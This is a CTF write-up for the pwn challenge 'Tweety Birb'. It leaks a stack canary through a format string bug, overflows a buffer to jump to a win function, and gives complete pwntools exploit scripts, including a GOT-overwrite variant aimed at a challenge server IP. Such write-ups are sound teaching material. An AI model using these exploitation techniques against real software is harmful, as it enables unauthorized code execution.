# Pwn - Tweety Birb

## Description

Pretty standard birb protection

## Downloads

{% file src="<https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FhDg6moWzj8MxRSmbq7An%2Ftweetybirb?alt=media&token=cde570d1-a4aa-4ce8-8c27-7d357fdfef2a>" %}

## Solution

First, we decompile the binary using Ghidra and look at the main function.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FxwhkSQ2mukNqKDqtEq4S%2Fimage.png?alt=media\&token=0a75b442-d968-4970-aa1b-aee7b40e4846)

Checking the symbol tree, we also have a `win` function that is not called anywhere.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2Fm9jixPn4IOLlTEuh6K3z%2Fimage.png?alt=media\&token=3d934dd5-9c5b-41d8-a70e-66e3e23bfc71)

Next, we check the binary security using `checksec` to see what we can do.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FEbP6lvlOnM4iNgydYZ0V%2Fimage.png?alt=media\&token=a033ef6a-8a04-4b5f-9d04-7a6751363424)

It appears to be a simple buffer overflow. What we want is to `ret` to an address we control and in this case, we want the program to jump to the `win` function. There is however, stack canaries enabled but that is not a big issue because there is a format string vulnerability present which would allow us to know the canary value. Bypassing the stack canary is therefore trivial when we are able to leak the canary.

Looking at address `0x4011fe` from the disassembler, we know that the canary resides in the `RAX` register before being pushed to the stack. It is also worth noting that the canary stays the same throughout execution.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FD6GOuWQhhIMIweZJwk9t%2Fimage.png?alt=media\&token=42c6da90-22cb-48c3-9c8c-75529d37b93b)

Now in `gdb`, we want to set a breakpoint at the next address (`0x401207`) so that we can inspect the canary value.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FU5UuaWW6xRuD1HEMCY1w%2Fimage.png?alt=media\&token=9c7a2f48-8900-4816-93a6-1e68bcbcb54b)

We can see the canary value in `RAX` with a value of `0x7cdc01e2ddb17a00`. Now let's continue execution and see if we can leak the canary manually by exploiting the format string vulnerability.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FizjO9lU6e561SBSwBEXd%2Fimage.png?alt=media\&token=dd6e765e-e141-4e09-8af1-3a5cdf3e0645)

Since the `input[]` array is pretty large, we can just manually add the `%lx` format specifier to leak the stack until we reach the canary. In this case, to leak the canary, we used `%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-`. Now that we know how to bypass the canary check, let's build the payload.

```python
payload = b''
payload += 72 * b'A'
payload += p64(hex_canary)
payload += p64(ret)
payload += p64(0x4011de)
```

From the decompiler, we know that the `input` char array is 72 bytes and hence, the first 72 bytes of our payload is padded with 'A's. Then, in order to not modify the stack canary, we fill it up with the leaked canary. We then get the address to any `ret` instruction by using `pwntools`' ROP object. Finally, we append the address of the `system` function responsible for printing the flag.

The full exploit script is as such:

```python
from pwn import *

#p = remote('143.198.184.186', 5002)
p = process('./tweetybirb')
context.binary = e = ELF('tweetybirb', checksec=False)

print(p.recvuntil(b'magpies?\n'))
p.sendline(b'%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-')
out = p.recvuntil(b'\n')
print(out)

# Get canary
stack = out.decode().split("-")
canary = stack[-2]
hex_canary = int("0x" + canary,16)
print(hex(hex_canary))

out = p.recvuntil(b'\n')
print(out)

# Get 'ret'
ret = ROP(e).ret.address
print(hex(ret))

payload = b''
payload += 72 * b'A'
payload += p64(hex_canary)
payload += p64(ret)
payload += p64(0x4011de)

p.sendline(payload)

flag = p.recv()
print(flag)

p.close()
```

Flag: `kqctf{tweet_tweet_did_you_leak_or_bruteforce_..._plz_dont_say_you_tried_bruteforce}`

## Bonus

Read the writeup by `hackerbecker` after the CTF and realised that pwntools can actually very easily pwn this challenge by using the format string tool to override the `puts` GOT with the `win` address. The script is elegantly written as such:

```
from pwn import *
context.log_level="debug"

elf = ELF("./tweetybirb")
context.arch=elf.arch

def exec_fmt(payload):
    p =  elf.process()
    p.clean()
    p.sendline(payload)
    return p.recvline()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset #6
p = remote("143.198.184.186", 5002)

p.clean()
payload = fmtstr_payload(offset, {elf.symbols["got.puts"]: elf.symbols["win"]})
p.sendline(payload)
p.interactive()
print(p.clean())
```
